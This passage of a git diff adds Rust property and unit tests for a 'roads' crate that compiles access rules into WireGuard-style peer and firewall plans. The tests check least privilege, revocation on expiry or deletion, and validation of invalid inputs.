["mark", "jana"] } + ] +} diff --git a/crates/roads/tests/least_privilege.rs b/crates/roads/tests/least_privilege.rs new file mode 100644 index 0000000..d09ad63 --- /dev/null +++ b/crates/roads/tests/least_privilege.rs @@ -0,0 +1,751 @@ +//! Mandatory test 3: least privilege, as a property test (proptest), designed after QA's plan +//! (`Via/qa/02_roads_attacks.md` §10). +//! +//! - **Generators** draw small worlds so that collisions are frequent: 1–4 people, up to 2 groups, 2–7 devices, +//! routes inside `10.0.0.0/22`, road subnets of /22 to /32 inside the same /22 (so nesting, adjacency and +//! overlap are the normal case), `until` on the boundary (`now − 1 s`, `now`, `now + 1 s`), five port sets, +//! 10% custom roads carrying `AllowedIPs = 0.0.0.0/0`, and 5% deliberately invalid roads. +//! - The world comes from a byte string, so proptest's shrinking makes counterexamples smaller. +//! - The **oracle** below shares no code with `roads`: it reads the generated world (not the parsed store), +//! resolves people and groups itself, and compares networks with `u32` arithmetic. +//! +//! Properties: P-1 every receiving-side firewall rule, sampled at both ends and the middle of its network and +//! of its ports, is allowed by an active road for the device whose address is the rule's source (so a client +//! that widens its own allowed IPs gains nothing: only the receiving side is checked); every allowed IP on the +//! sending side is exactly what a road names (no supernet, QA R-02); every firewall source sits on its own +//! peer as a /32 (no spoofing, QA R-10); invalid and expired roads change no byte; removing a road or moving +//! `now` forward never adds a rule (P-3, P-4); `explain` agrees with the firewall (P-7). + +use jiff::{SignedDuration, Timestamp as Instant}; +use proptest::prelude::*; +use roads::plan::{Direction, Dst}; +use roads::{DeviceKey, Store, compile}; +use std::collections::BTreeSet; +use std::sync::atomic::{AtomicUsize, Ordering}; + +const NOW: &str = "2026-11-25T12:00:00Z"; +const BASE: u32 = 0x0A00_0000; // 10.0.0.0 + +static CASES: AtomicUsize = AtomicUsize::new(0); +static P1_CASES: AtomicUsize = AtomicUsize::new(0); +static P1_WITH_RULES: AtomicUsize = AtomicUsize::new(0); +static P1_RULES: AtomicUsize = AtomicUsize::new(0); +static P1_ALLOWED: AtomicUsize = AtomicUsize::new(0); + +fn now() -> Instant { + NOW.parse().unwrap() +} + +/// Draws choices from bytes; an exhausted source gives 0, the simplest choice. +struct Src<'a> { + b: &'a [u8], + i: usize, +} + +impl Src<'_> { + fn n(&mut self, n: usize) -> usize { + let v = self.b.get(self.i).copied().unwrap_or(0) as usize; + self.i += 1; + v % n + } + fn pct(&mut self, p: usize) -> bool { + self.n(100) < p + } +} + +#[derive(Clone, Debug)] +struct Dev { + owner: Option, + classic: bool, + exit: bool, + relay: bool, + route: Option<(u32, u8)>, + service: Option>, +} + +#[derive(Clone, Debug, PartialEq)] +enum Subj { + Person(usize), + Group(usize), + Device(usize), + App, +} + +#[derive(Clone, Debug, PartialEq)] +enum Obj { + Device(usize), + Subnet(u32, u8), + Service(usize), + Exit(usize), +} + +#[derive(Clone, Debug, PartialEq)] +enum Verb { + Reach, + Exits, + Direct, + Kill, + Custom, +} + +#[derive(Clone, Debug)] +struct R { + subject: Subj, + verb: Verb, + object: Option, + /// Seconds from now. + until: Option, + ports: Option>, + classic: Option, + invalid: bool, +} + +#[derive(Clone, Debug)] +struct World { + people: usize, + groups: Vec>, + devs: Vec, + roads: Vec, +} + +const PORT_SETS: [&[(&str, u16, u16)]; 4] = [ + &[("tcp", 443, 443)], + &[("tcp", 22, 22), ("tcp", 443, 443)], + &[("tcp", 1, 1024)], + &[("tcp", 1, 65535)], +]; + +fn world(bytes: &[u8]) -> World { + let mut s = Src { b: bytes, i: 0 }; + let people = 1 + s.n(4); + let groups = (0..s.n(3)) + .map(|_| (0..people).filter(|_| s.pct(50)).collect()) + .collect(); + let n_dev = 2 + s.n(6); + let devs = (0..n_dev) + .map(|i| Dev { + owner: if s.pct(80) { Some(s.n(people)) } else { None }, + classic: s.pct(10), + exit: s.pct(30), + relay: s.pct(20), + route: (i < 4 && s.pct(70)).then(|| (BASE + ((i as u32) << 8), 24)), + service: s.pct(35).then(|| PORT_SETS[s.n(2)].to_vec()), + }) + .collect::>(); + let n_roads = 1 + s.n(12); + let roads = (0..n_roads) + .map(|_| { + let verb = match s.n(20) { + 0..=10 => Verb::Reach, + 11..=13 => Verb::Exits, + 14 | 15 => Verb::Direct, + 16 | 17 => Verb::Kill, + _ => Verb::Custom, + }; + // Indices one past the end name things that do not exist. + let subject = match (s.n(4), &verb) { + (_, Verb::Custom) => Subj::Device(s.n(n_dev + 1)), + (3, Verb::Direct) => Subj::App, + (0, _) | (3, _) => Subj::Person(s.n(people + 1)), + (1, _) => Subj::Group(s.n(3)), + _ => Subj::Device(s.n(n_dev + 1)), + }; + let object = match verb { + Verb::Custom => None, + Verb::Exits | Verb::Kill => Some(Obj::Exit(s.n(n_dev + 1))), + Verb::Direct => Some(Obj::Subnet( + if s.pct(50) { 0 } else { BASE }, + if s.pct(50) { 0 } else { 22 }, + )), + Verb::Reach => Some(match s.n(3) { + 0 => Obj::Device(s.n(n_dev + 1)), + 1 => Obj::Service(s.n(n_dev + 1)), + _ => { + if s.pct(10) { + Obj::Subnet(0x0A09_0000, 24) // routed by nobody + } else { + let len = 22 + s.n(11) as u8; + let off = (s.n(256) as u32) << 2 | s.n(4) as u32; + Obj::Subnet(BASE | (off & mask(len) & 0x3FF), len) + } + } + }), + }; + R { + until: match s.n(6) { + 0 | 1 => None, + 2 => Some(-1), + 3 => Some(0), + 4 => Some(1), + _ => Some(86_400), + }, + ports: (verb == Verb::Reach && s.pct(50)).then(|| PORT_SETS[s.n(4)].to_vec()), + classic: match s.n(3) { + 0 => None, + 1 => Some(true), + _ => Some(false), + }, + invalid: s.pct(5), + subject, + verb, + object, + } + }) + .collect(); + World { + people, + groups, + devs, + roads, + } +} + +fn mask(len: u8) -> u32 { + if len == 0 { + 0 + } else { + u32::MAX << (32 - len as u32) + } +} + +fn ip(v: u32) -> String { + format!( + "{}.{}.{}.{}", + v >> 24, + (v >> 16) & 255, + (v >> 8) & 255, + v & 255 + ) +} + +fn dev_addr(i: usize) -> u32 { + 0x6460_0000 + 1 + i as u32 // 100.96.0.(i+1) +} + +fn dev_key(i: usize) -> String { + DeviceKey::from_bytes(&[i as u8 + 1; 32]) + .as_str() + .to_string() +} + +fn id_of(i: usize) -> String { + format!("t{i:05}") +} + +fn ports_text(p: &[(&str, u16, u16)]) -> String { + let items: Vec = p + .iter() + .map(|(pr, lo, hi)| { + if lo == hi { + format!("{pr}/{lo}") + } else { + format!("{pr}/{lo}-{hi}") + } + }) + .collect(); + format!("[{}]", items.join(", ")) +} + +/// The world as store bytes, written here without the library's writer. +fn to_store(w: &World, roads: &[(usize, &R)], when: Instant) -> Store { + let people: Vec = (0..w.people) + .map(|p| format!(r#"{{"id":"p{p}","name":"P{p}"}}"#)) + .collect(); + let groups: Vec = w + .groups + .iter() + .enumerate() + .map(|(g, m)| { + let m: Vec = m.iter().map(|p| format!("\"p{p}\"")).collect(); + format!( + r#"{{"id":"g{g}","name":"G{g}","members":[{}]}}"#, + m.join(",") + ) + }) + .collect(); + let directory = format!( + r#"{{"format":1,"people":[{}],"groups":[{}]}}"#, + people.join(","), + groups.join(",") + ); + let devices: Vec = w + .devs + .iter() + .enumerate() + .map(|(i, d)| { + let owner = d.owner.map(|o| format!(r#","owner":"p{o}""#)).unwrap_or_default(); + let routes = d.route.map(|(n, l)| format!(r#","routes":["{}/{l}"]"#, ip(n))).unwrap_or_default(); + let services = d + .service + .as_ref() + .map(|p| { + let ports: Vec = ports_text(p).trim_matches(['[', ']']).split(", ").map(|x| format!("\"{x}\"")).collect(); + format!(r#","services":[{{"host":"s{i}.test","ports":[{}]}}]"#, ports.join(",")) + }) + .unwrap_or_default(); + format!( + r#"{{"key":"{}","name":"d{i}","address":"{}","classic":{},"exit":{},"relay":{}{owner}{routes}{services}}}"#, + dev_key(i), + ip(dev_addr(i)), + d.classic, + d.exit, + d.relay + ) + }) + .collect(); + let devices = format!(r#"{{"format":1,"devices":[{}]}}"#, devices.join(",")); + let files: Vec<(String, Vec)> = roads + .iter() + .map(|(i, r)| { + let mut t = format!("---\nid: {}\n", id_of(*i)); + t += &match &r.subject { + Subj::Person(p) => format!("subject: person:p{p}\n"), + Subj::Group(g) => format!("subject: group:g{g}\n"), + Subj::Device(d) => format!("subject: device:{}\n", dev_key(*d)), + Subj::App => "subject: app:games\n".into(), + }; + t += match r.verb { + Verb::Reach => "verb: can-reach\n", + Verb::Exits => "verb: exits-through\n", + Verb::Direct => "verb: goes-direct\n", + Verb::Kill => "verb: never-online-without\n", + Verb::Custom => "verb: custom\n", + }; + if let Some(o) = &r.object { + t += &match o { + Obj::Device(d) => format!("object: device:{}\n", dev_key(*d)), + Obj::Exit(d) => format!("object: exit:{}\n", dev_key(*d)), + Obj::Service(d) => format!("object: service:s{d}.test\n"), + Obj::Subnet(n, l) => format!("object: subnet:{}/{l}\n", ip(*n)), + }; + } + if let Some(u) = r.until { + let key = if r.invalid { "untill" } else { "until" }; + t += &format!("{key}: {}\n", (now() + SignedDuration::from_secs(u))); + } else if r.invalid { + t += "allowedIPs: [0.0.0.0/0]\n"; + } + if let Some(p) = &r.ports { + t += &format!("ports: {}\n", ports_text(p)); + } + if let Some(c) = r.classic + && matches!(r.verb, Verb::Reach | Verb::Exits | Verb::Custom) + { + t += &format!("classic: {c}\n"); + } + t += "created: 2026-11-01T00:00:00Z\n---\n"; + if r.verb == Verb::Custom { + t += "```raw\n[Peer]\nPublicKey = AAAA\nAllowedIPs = 0.0.0.0/0, ::/0\n```\n"; + } + (format!("{}-r.md", id_of(*i)), t.into_bytes()) + }) + .collect(); + let _ = when; + Store::from_parts(&files, Some(directory.as_bytes()), Some(devices.as_bytes())) +} + +// ------------------------------------------------------------------ the oracle (no roads code) + +fn subj_devs(w: &World, s: &Subj) -> BTreeSet { + (0..w.devs.len()) + .filter(|&d| match s { + Subj::Person(p) => w.devs[d].owner == Some(*p), + Subj::Group(g) => w + .groups + .get(*g) + .is_some_and(|m| w.devs[d].owner.is_some_and(|o| m.contains(&o))), + Subj::Device(x) => *x == d, + Subj::App => true, + }) + .collect() +} + +/// An upper bound on the roads that can grant: not deliberately invalid, not expired at `at` (seconds from +/// NOW). The compiler may refuse more (classic, unknown references); it may never grant more. +fn live(r: &R, at: i64) -> bool { + !r.invalid && r.until.is_none_or(|u| at < u) +} + +fn in_prefix(addr: u32, net: u32, len: u8) -> bool { + addr & mask(len) == net & mask(len) +} + +fn ports_allow(p: &Option>, proto: &str, port: u16) -> bool { + p.as_ref().is_none_or(|ps| { + ps.iter() + .any(|(pr, lo, hi)| *pr == proto && *lo <= port && port <= *hi) + }) +} + +/// May device `d` open a connection to `addr` on `proto/port`, by some live can-reach road? +fn may_reach(w: &World, at: i64, d: usize, addr: u32, proto: &str, port: u16) -> bool { + w.roads + .iter() + .filter(|r| live(r, at) && r.verb == Verb::Reach && subj_devs(w, &r.subject).contains(&d)) + .any(|r| match r.object.as_ref().unwrap() { + Obj::Device(x) => { + *x < w.devs.len() && addr == dev_addr(*x) && ports_allow(&r.ports, proto, port) + } + Obj::Service(x) => { + *x < w.devs.len() + && w.devs[*x].service.is_some() + && addr == dev_addr(*x) + && ports_allow(&r.ports.clone().or(w.devs[*x].service.clone()), proto, port) + } + Obj::Subnet(n, l) => in_prefix(addr, *n, *l) && ports_allow(&r.ports, proto, port), + Obj::Exit(_) => false, + }) +} + +fn may_exit(w: &World, at: i64, d: usize, exit: usize) -> bool { + w.roads.iter().any(|r| { + live(r, at) + && r.verb == Verb::Exits + && r.object == Some(Obj::Exit(exit)) + && subj_devs(w, &r.subject).contains(&d) + }) +} + +fn parse_net(s: &str) -> Option<(u32, u8)> { + let (a, l) = s.split_once('/')?; + let o: Vec = a + .split('.') + .map(|x| x.parse().ok()) + .collect::>()?; + (o.len() == 4).then(|| { + ( + o[0] << 24 | o[1] << 16 | o[2] << 8 | o[3], + l.parse().unwrap(), + ) + }) +} + +fn dev_of_addr(w: &World, a: u32) -> Option { + (0..w.devs.len()).find(|&i| dev_addr(i) == a) +} + +fn dev_of_key(w: &World, k: &DeviceKey) -> usize { + (0..w.devs.len()) + .find(|&i| dev_key(i) == k.as_str()) + .expect("a plan for a known device") +} + +/// Every rule of every plan, without its road list: what P-3 and P-4 compare. +fn rule_set(c: &roads::Compiled) -> BTreeSet { + c.plans + .values() + .flat_map(|p| { + p.firewall + .rules + .iter() + .filter(|r| r.dst != Dst::Internet) + .map(move |r| { + format!( + "{} {:?} {} {:?} {:?} {:?}", + p.name, r.direction, r.src, r.dst, r.proto, r.ports + ) + }) + }) + .collect() +} + +fn check_p1(w: &World, c: &roads::Compiled) -> Result<(), TestCaseError> { + for plan in c.plans.values() { + let h = dev_of_key(w, &plan.device); + for rule in &plan.firewall.rules { + let (src, slen) = parse_net(&rule.src.to_string()).unwrap(); + prop_assert_eq!( + slen, + 32, + "a firewall source wider than one device: {:?}", + rule + ); + let d = dev_of_addr(w, src); + prop_assert!( + d.is_some(), + "a firewall source that is no device: {:?}", + rule + ); + let d = d.unwrap(); + // R-10: that source is on its own peer, as exactly its /32, so no other peer can send from it. + let own = plan.peers.iter().find(|p| p.address.to_string() == ip(src)); + prop_assert!( + own.is_some_and(|p| p + .allowed_ips + .iter() + .any(|n| n.to_string() == format!("{}/32", ip(src)))), + "{}: source {} has no peer of its own", + plan.name, + ip(src) + ); + match rule.dst { + Dst::Internet => { + prop_assert!( + w.devs[h].exit, + "{} forwards to the internet but is no exit", + plan.name + ); + prop_assert!( + may_exit(w, 0, d, h), + "{}: d{d} exits through it without a road", + plan.name + ); + } + Dst::Net(n) => { + let (net, len) = parse_net(&n.to_string()).unwrap(); + match rule.direction { + Direction::In => prop_assert!( + net == dev_addr(h) && len == 32, + "an in rule not to the device itself" + ), + Direction::Forward => { + let routed = w.devs[h] + .route + .is_some_and(|(rn, rl)| len >= rl && in_prefix(net, rn, rl)); + prop_assert!( + routed, + "{} forwards to {n}, which it does not route", + plan.name + ); + } + } + let last = net | !mask(len); + let samples = [net, last, net + (last - net) / 2]; + let ports: Vec<(&str, u16)> = match (rule.proto, rule.ports) { + (roads::ports::Proto::Any, _) => vec![ + ("tcp", 1), + ("tcp", 443), + ("tcp", 65535), + ("udp", 53), + ("icmp", 0), + ], + (p, Some([lo, hi])) => { + let p = if p == roads::ports::Proto::Udp { + "udp" + } else { + "tcp" + }; + vec![(p, lo), (p, hi), (p, lo + (hi - lo) / 2)] + } + (p, None) => { + let p = match p { + roads::ports::Proto::Udp => "udp", + roads::ports::Proto::Icmp => "icmp", + _ => "tcp", + }; + vec![(p, 1), (p, 65535)] + } + }; + for a in samples { + for (proto, port) in &ports { + prop_assert!( + may_reach(w, 0, d, a, proto, *port), + "{}: rule {:?} lets d{d} reach {}:{proto}/{port}, which no live road allows", + plan.name, + rule, + ip(a) + ); + } + } + } + } + } + // Sending side: every allowed IP is exactly what a live road names (no supernet, QA R-02). + let me = h; + for peer in &plan.peers { + let p = dev_of_key(w, &peer.key); + for n in &peer.allowed_ips { + let text = n.to_string(); + if text == "0.0.0.0/0" || text == "::/0" { + prop_assert!( + w.devs[p].exit && may_exit(w, 0, me, p), + "{}: a default route to d{p} without a road", + plan.name + ); + continue; + } + let (net, len) = parse_net(&text).unwrap(); + if len == 32 && net == dev_addr(p) { + let related = w.roads.iter().any(|r| { + live(r, 0) && { + let s = subj_devs(w, &r.subject); + let host = match &r.object { + Some(Obj::Device(x)) + | Some(Obj::Service(x)) + | Some(Obj::Exit(x)) => Some(*x), + Some(Obj::Subnet(sn, sl)) => (0..w.devs.len()).find(|&i| { + w.devs[i] + .route + .is_some_and(|(rn, rl)| *sl >= rl && in_prefix(*sn, rn, rl)) + }), + None => None, + }; + (s.contains(&me) && host == Some(p)) + || (s.contains(&p) && host == Some(me)) + } + }); + prop_assert!( + related, + "{}: peer d{p} with no road between them", + plan.name + ); + continue; + } + let named = w.roads.iter().any(|r| { + live(r, 0) + && r.verb == Verb::Reach + && r.object == Some(Obj::Subnet(net, len)) + && subj_devs(w, &r.subject).contains(&me) + }); + prop_assert!( + named, + "{}: allowed IP {text} on d{p} that no road names exactly", + plan.name + ); + prop_assert!( + w.devs[p] + .route + .is_some_and(|(rn, rl)| len >= rl && in_prefix(net, rn, rl)), + "{text} on a peer that does not route it" + ); + } + } + // Custom raw blocks never become peers (QA R-40): checked above, since no road names 0.0.0.0/0 for them. + } + Ok(()) +} + +proptest! { + #![proptest_config(ProptestConfig { cases: 5_000, max_shrink_iters: 10_000, failure_persistence: None, .. ProptestConfig::default() })] + + #[test] + fn p1_no_plan_grants_what_no_road_grants(bytes in proptest::collection::vec(any::(), 64..400)) { + CASES.fetch_add(1, Ordering::Relaxed); + let w = world(&bytes); + let all: Vec<(usize, &R)> = w.roads.iter().enumerate().collect(); + let store = to_store(&w, &all, now()); + let c = compile(&store, now()); + prop_assert!(c.has_plans(), "the generated snapshots are valid: {:?}", c.problems.iter().filter(|p| !p.path.starts_with("roads/")).collect::>()); + check_p1(&w, &c)?; + let rules: usize = c.plans.values().map(|p| p.firewall.rules.len()).sum(); + let allowed: usize = c.plans.values().map(|p| p.allowed_ips().count()).sum(); + P1_RULES.fetch_add(rules, Ordering::Relaxed); + P1_ALLOWED.fetch_add(allowed, Ordering::Relaxed); + if rules > 0 { P1_WITH_RULES.fetch_add(1, Ordering::Relaxed); } + let n = P1_CASES.fetch_add(1, Ordering::Relaxed) + 1; + if n.is_multiple_of(5_000) { + eprintln!("p1: {n} cases, {} with at least one firewall rule, {} rules and {} allowed IPs checked against the oracle", + P1_WITH_RULES.load(Ordering::Relaxed), P1_RULES.load(Ordering::Relaxed), P1_ALLOWED.load(Ordering::Relaxed)); + } + + // P-7: explain agrees with the receiving side's firewall, device by device. + let devs = store.devices.as_ref().unwrap(); + for a in 0..w.devs.len() { + for b in 0..w.devs.len() { + if a == b { continue; } + let ka = DeviceKey::new(&dev_key(a)).unwrap(); + let kb = DeviceKey::new(&dev_key(b)).unwrap(); + let why = roads::explain(&c, devs, &ka, &roads::Place::Device(kb.clone())); + let fw = c.plans[&kb].firewall.rules.iter().any(|r| r.direction == Direction::In && r.src.to_string() == format!("{}/32", ip(dev_addr(a)))); + prop_assert_eq!(!why.is_empty(), fw, "explain d{} -> d{} says {:?}", a, b, why); + } + } + } +} + +proptest! { + #![proptest_config(ProptestConfig { cases: 500, failure_persistence: None, .. ProptestConfig::default() })] + + #[test] + fn invalid_and_expired_roads_change_no_byte(bytes in proptest::collection::vec(any::(), 64..400), pick in any::(), expired in any::()) { + CASES.fetch_add(1, Ordering::Relaxed); + let w = world(&bytes); + let all: Vec<(usize, &R)> = w.roads.iter().enumerate().collect(); + let base = compile(&to_store(&w, &all, now()), now()); + // Copy one road, then make the copy invalid or expired, under a fresh id. + let mut extra = w.roads.get(pick.index(w.roads.len().max(1))).cloned().unwrap_or(R { + subject: Subj::Person(0), verb: Verb::Reach, object: Some(Obj::Subnet(BASE, 22)), until: None, ports: None, classic: None, invalid: false, + }); + if expired { extra.until = Some(if extra.until == Some(0) { -5 } else { 0 }); extra.invalid = false; } else { extra.invalid = true; } + let mut with: Vec<(usize, &R)> = all.clone(); + with.push((99_999, &extra)); + let c = compile(&to_store(&w, &with, now()), now()); + for (k, p) in &base.plans { + prop_assert_eq!(p.to_json(), c.plans[k].to_json(), "an {} road changed {}", if expired { "expired" } else { "invalid" }, p.name); + } + } + + #[test] + fn removing_a_road_or_waiting_never_adds_a_rule(bytes in proptest::collection::vec(any::(), 64..400), pick in any::()) { + CASES.fetch_add(1, Ordering::Relaxed); + let w = world(&bytes); + let all: Vec<(usize, &R)> = w.roads.iter().enumerate().collect(); + let store = to_store(&w, &all, now()); + let full = rule_set(&compile(&store, now())); + // P-4: later is never wider (exit rules excluded: resolving an exit conflict is allowed to add one). + for later in [1, 2, 86_401] { + let l = rule_set(&compile(&store, now() + SignedDuration::from_secs(later))); + prop_assert!(l.is_subset(&full), "waiting {}s added {:?}", later, l.difference(&full).collect::>()); + } + // P-3: one road fewer is never wider. + if !w.roads.is_empty() { + let drop = pick.index(w.roads.len()); + let fewer: Vec<(usize, &R)> = all.iter().copied().filter(|(i, _)| *i != drop).collect(); + let f = rule_set(&compile(&to_store(&w, &fewer, now()), now())); + prop_assert!(f.is_subset(&full), "removing road {} added {:?}", drop, f.difference(&full).collect::>()); + } + } +} + +#[test] +fn zz_report_case_count() { + // Runs in the same binary; the count is only complete when the properties ran first, so it is printed, + // not asserted. + eprintln!( + "least_privilege: {} property cases so far in this process", + CASES.load(Ordering::Relaxed) + ); +} + +#[test] +fn the_oracle_catches_a_wider_rule() { + // The property would fail if the compiler emitted a supernet: check the oracle on a hand-made world + // whose only road grants 10.0.0.0/24, against a rule for 10.0.0.0/23 (QA R-02). + let w = World { + people: 1, + groups: vec![], + devs: vec![ + Dev { + owner: Some(0), + classic: false, + exit: false, + relay: false, + route: None, + service: None, + }, + Dev { + owner: None, + classic: false, + exit: false, + relay: false, + route: Some((BASE, 22)), + service: None, + }, + ], + roads: vec![R { + subject: Subj::Person(0), + verb: Verb::Reach, + object: Some(Obj::Subnet(BASE, 24)), + until: None, + ports: None, + classic: None, + invalid: false, + }], + }; + assert!(may_reach(&w, 0, 0, BASE + 255, "tcp", 443)); + assert!( + !may_reach(&w, 0, 0, BASE + 256, "tcp", 443), + "10.0.1.0 is outside the /24" + ); + assert!(!may_reach(&w, 1, 0, BASE, "tcp", 443) || w.roads[0].until.is_none()); +} diff --git a/crates/roads/tests/revocation.rs b/crates/roads/tests/revocation.rs new file mode 100644 index 0000000..571018a --- /dev/null +++ b/crates/roads/tests/revocation.rs @@ -0,0 +1,200 @@ +//! Mandatory test 2: deleting a road, expiring it, or removing a device from a person removes the access +//! from the compiled plan — on the receiving side (the firewall of the device that serves the place) and on +//! the sending side (the peer and its allowed IPs). + +mod common; + +use common::{Parts, at, fw_accepts, key}; +use roads::{Hostname, Place, compile, explain}; +use std::net::IpAddr; + +const PHOTOS_HOST: &str = "100.96.0.2"; + +fn home_server() -> IpAddr { + PHOTOS_HOST.parse().unwrap() +} + +fn photos() -> Place { + Place::Service(Hostname::new("photos.home.arpa").unwrap()) +} + +/// jana-phone → home-server on tcp/443, judged on the receiving side. +fn jana_reaches_photos(c: &roads::Compiled) -> bool { + fw_accepts(c, &key(3), home_server(), Some(("tcp", 443))) +} + +fn has_peer(c: &roads::Compiled, on: u8, peer: u8) -> bool { + c.plans[&key(on)].peers.iter().any(|p| p.key == key(peer)) +} + +#[test] +fn the_baseline_grants_it() { + let c = Parts::home().compile(); + assert!(jana_reaches_photos(&c)); + assert!(has_peer(&c, 3, 2) && has_peer(&c, 2, 3)); +} + +#[test] +fn deleting_the_roads_removes_the_access() { + let c = Parts::home() + .without_road("7tq0mz") + .without_road("k3f9q2") + .compile(); + assert!(!jana_reaches_photos(&c)); + assert!( + !has_peer(&c, 3, 2), + "jana-phone kept a peer for the home server" + ); + assert!( + !has_peer(&c, 2, 3), + "the home server kept a peer for jana-phone" + ); + assert!( + c.plans[&key(2)] + .firewall + .rules + .iter() + .all(|r| r.src.to_string() != "100.96.0.3/32") + ); + assert!(c.plans[&key(3)].dns.is_empty()); +} + +#[test] +fn deleting_one_of_two_roads_leaves_the_other_visible() { + // QA R-46: revoking the person-level road leaves the group road, and explain says so. + let parts = Parts::home().without_road("7tq0mz"); + let c = parts.compile(); + assert!(jana_reaches_photos(&c)); + let devs = parts.store().devices.unwrap(); + let why: Vec = explain(&c, &devs, &key(3), &photos()) + .iter() + .map(|r| r.to_string()) + .collect(); + assert_eq!(why, ["k3f9q2"]); +} + +#[test] +fn an_expired_road_grants_nothing_from_the_instant_of_until() { + // until is 2026-11-29T23:59:59+01:00 and exclusive (QA R-22). Without the household road only it grants. + let parts = Parts::home().without_road("k3f9q2"); + let store = parts.store(); + assert!(jana_reaches_photos(&compile( + &store, + at("2026-11-29T23:59:58+01:00") + ))); + for now in [ + "2026-11-29T23:59:59+01:00", + "2026-11-29T22:59:59Z", + "2026-11-30T00:00:00+01:00", + "2027-11-25T12:00:00Z", + ] { + let c = compile(&store, at(now)); + assert!(!jana_reaches_photos(&c), "still granted at {now}"); + assert!( + !has_peer(&c, 2, 3), + "the home server kept jana-phone at {now}" + ); + assert!( + c.problems + .iter() + .any(|p| p.code == roads::rules::ROAD_EXPIRED && p.path.contains("7tq0mz")), + "{now}" + ); + } +} + +#[test] +fn each_plan_carries_its_own_expiry_on_both_sides() { + // QA R-26: a road with an until stops on time even before the next compile, if the engine honours + // `expires`. Both the subject's and the serving device's plans carry it. + let c = Parts::home().compile(); + for dev in [2, 3, 4] { + assert_eq!( + c.plans[&key(dev)].expires.as_deref(), + Some("2026-11-29T22:59:59Z"), + "device {dev}" + ); + } + assert_eq!(c.plans[&key(1)].expires, None, "mark-pc has no timed road"); + assert_eq!( + c.plans[&key(7)].expires, + None, + "the expired road no longer counts" + ); +} + +#[test] +fn moving_a_device_to_another_person_moves_its_access() { + // QA R-18: the receiving side's rules follow the device's owner in this snapshot, nothing cached. + let moved = Parts::home().edit_devices(|d| { + d.replace( + r#""name": "jana-phone", "owner": "jana""#, + r#""name": "jana-phone", "owner": "petr""#, + ) + }); + let c = moved.compile(); + assert!(!jana_reaches_photos(&c), "the phone kept Jana's access"); + assert!(!has_peer(&c, 2, 3)); + // It gains Petr's road: exits through the friend node. + assert_eq!( + c.plans[&key(3)].exit.as_ref().map(|e| e.through.clone()), + Some(key(6)) + ); + // Jana's other device keeps hers. + assert!(fw_accepts(&c, &key(4), home_server(), Some(("tcp", 443)))); +} + +#[test] +fn removing_a_device_removes_it_from_every_plan() { + // QA P-6: no plan but its own (which no longer exists) names its key or its address. + let removed = Parts::home().edit_devices(|d| { + d.lines() + .filter(|l| !l.contains("\"jana-phone\"")) + .collect::>() + .join("\n") + }); + let c = removed.compile(); + assert!(c.errors().next().is_none(), "{:?}", c.problems); + assert!(!c.plans.contains_key(&key(3))); + for p in c.plans.values() { + let json = p.to_json(); + assert!( + !json.contains(key(3).as_str()) && !json.contains("100.96.0.3"), + "{} still names jana-phone", + p.name + ); + } +} + +#[test] +fn removing_a_person_from_a_group_removes_the_group_road_only() { + let parts = Parts::home() + .edit_directory(|d| d.replace(r#""members": ["mark", "jana"]"#, r#""members": ["mark"]"#)); + let c = parts.compile(); + // The group road no longer covers Jana: no rule from her address for all traffic. + assert!( + !fw_accepts(&c, &key(3), home_server(), Some(("tcp", 22))), + "group access remained" + ); + // Her own road to the photos still holds. + assert!(jana_reaches_photos(&c)); +} + +#[test] +fn a_person_deleted_from_the_directory_leaves_their_roads_reported_and_void() { + // QA R-20: the road naming petr is an error, and the device that petr owned fails the snapshot. + let parts = Parts::home() + .edit_directory(|d| d.replace(r#" { "id": "petr", "name": "Petr" },"#, "")) + .edit_devices(|d| d.replace(r#""owner": "petr", "#, "")); + let c = parts.compile(); + assert!( + c.problems + .iter() + .any(|p| p.code == roads::rules::SUBJECT_UNKNOWN && p.path.contains("c0z5wn")) + ); + assert!(c.plans[&key(7)].exit.is_none(), "petr-phone kept its exit"); + assert!( + c.plans[&key(6)].peers.is_empty(), + "the friend node kept petr-phone as a peer" + ); +} diff --git a/crates/roads/tests/validation.rs b/crates/roads/tests/validation.rs new file mode 100644 index 0000000..1de5b7d --- /dev/null +++ b/crates/roads/tests/validation.rs @@ -0,0 +1,366 @@ +//! Mandatory test 1: every rule has a failing fixture, and its problem names the file and the field. A road +//! with an error grants nothing: every plan stays byte for byte what it was without that road. +//! +//! Fixtures: `tests/fixtures/invalid/expect.txt` lists each fixture file with its rule and field. The few +//! cases that cannot be a committed file (a 300 KiB file, a BOM, invalid UTF-8, a folder in roads/, ten +//! thousand files) are made here. + +mod common; + +use common::{Parts, fixtures, now, plans_bytes}; +use roads::{Severity, Store, compile, rules}; +use std::collections::BTreeSet; + +struct Case { + kind: String, + file: String, + code: String, + field: Option, +} + +fn manifest() -> Vec { + let text = std::fs::read_to_string(fixtures().join("invalid").join("expect.txt")).unwrap(); + text.lines() + .filter(|l| !l.starts_with('#') && !l.trim().is_empty()) + .map(|l| { + let f: Vec<&str> = l.split_whitespace().collect(); + assert_eq!(f.len(), 4, "bad manifest line {l}"); + Case { + kind: f[0].into(), + file: f[1].into(), + code: f[2].into(), + field: (f[3] != "-").then(|| f[3].to_string()), + } + }) + .collect() +} + +fn inactive_code(code: &str) -> bool { + [ + rules::ROAD_EXPIRED, + rules::ROAD_NO_DEVICES, + rules::ROAD_SELF, + rules::EXIT_CONFLICT, + rules::DIRECT_KILL_SWITCH, + ] + .contains(&code) +} + +/// Runs one case; returns the codes it produced. +fn run(case: &Case, baseline: &[u8]) -> BTreeSet { + let bytes = std::fs::read( + fixtures() + .join("invalid") + .join(if case.kind == "road" { + "roads" + } else { + "snapshots" + }) + .join(&case.file), + ) + .unwrap(); + let parts = Parts::home(); + let (parts, path) = match case.kind.as_str() { + "road" => ( + parts.with_road(&case.file, std::str::from_utf8(&bytes).unwrap()), + format!("roads/{}", case.file), + ), + "directory" => ( + Parts { + directory: bytes, + ..parts + }, + "directory.json".to_string(), + ), + "devices" => ( + Parts { + devices: bytes, + ..parts + }, + "devices.json".to_string(), + ), + k => panic!("unknown kind {k}"), + }; + let c = parts.compile(); + let hit = c + .problems + .iter() + .find(|p| p.path == path && p.code == case.code && p.field == case.field); + assert!( + hit.is_some(), + "{}: expected `{}` on field {:?} at {path}; got:\n{}", + case.file, + case.code, + case.field, + c.problems + .iter() + .map(|p| p.to_string()) + .collect::>() + .join("\n") + ); + let hit = hit.unwrap(); + // The message names the file and the field. + let line = hit.to_string(); + assert!( + line.starts_with(&path) || line.starts_with(&format!("inactive: {path}")), + "{line}" + ); + if let Some(f) = &case.field { + assert!( + line.contains(&format!(": 